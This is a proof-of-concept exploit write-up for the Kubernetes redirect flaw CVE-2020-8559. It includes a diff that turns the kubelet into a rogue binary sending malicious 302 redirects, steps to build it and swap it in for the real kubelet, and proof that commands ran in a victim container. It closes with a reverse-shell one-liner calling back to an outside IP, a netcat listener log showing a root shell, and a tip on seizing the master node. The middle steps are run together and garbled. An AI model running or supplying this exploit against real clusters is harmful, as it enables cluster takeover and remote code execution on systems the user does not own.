
This is a PoC exploit for CVE-2020-8559 Kubernetes Vulnerability
This is for demonstration purposes only. Only for use on systems you are authorized to preform administrative actions on and are authorized to exploit CVE-2020-8559 on
This is a PoC for CVE-2020-8559 This vulnerability allows an attacker who has gotten root on a Node to execute commands on any other Container in the cluster allowing the attacker to take over the Kubernetes Master Node.
This vulnerability is due to the fact that the Kubernetes API Server and kubectl command will follow HTTP Redirects combined with the fact that the Kubernetes API just puts all of the components of an API request into the URL i.e. Node name, Pod name, Container name, and even the Command. Therefor, if the Kubelet process responds to /exec, /attach, /portforward, or any resource: proxy action with a HTTP 302 Redirect with a Location header which says to execute a different command on a different Node in a different Container the Kubernetes API Server or kubectl command will happily make a new request for whatever is in the Location header.
You can download my forked version of Kubernetes and switch to my branch to build the exploit kubelet binary.
This branch is based on the v1.15.9 tag.
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
This PoC will just send 302 HTTP Redirect with a hard coded Location header, so you will need to edit kubernetes/pkg/kubelet/server/server.go and update host, namespace, pod, container, and command
ProTip: List all of the Pods in the cluster. Then, configure this to execute commands on a Pod running on the Kubernetes Master Node in order start a reverse shell back to you in order to take over the cluster
After Configuring the attack, build a rogue kubelet binary
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet binary to the Nodekubelet process and over-write the binary with the rogue binarykubelet processps aux |grep kubeletkubelet process and copy the rogue binary into placesudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet process again so that it will re-start with the rogue binarykubelet processps aux |grep kubeletkubelet processsudo kill $PIDkubectl command on their local workstation, This command should return the hostname of the Victim Container instead of the container it should have been executed on[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
You can also start a reverse shell back you from any Container with
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1Success :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#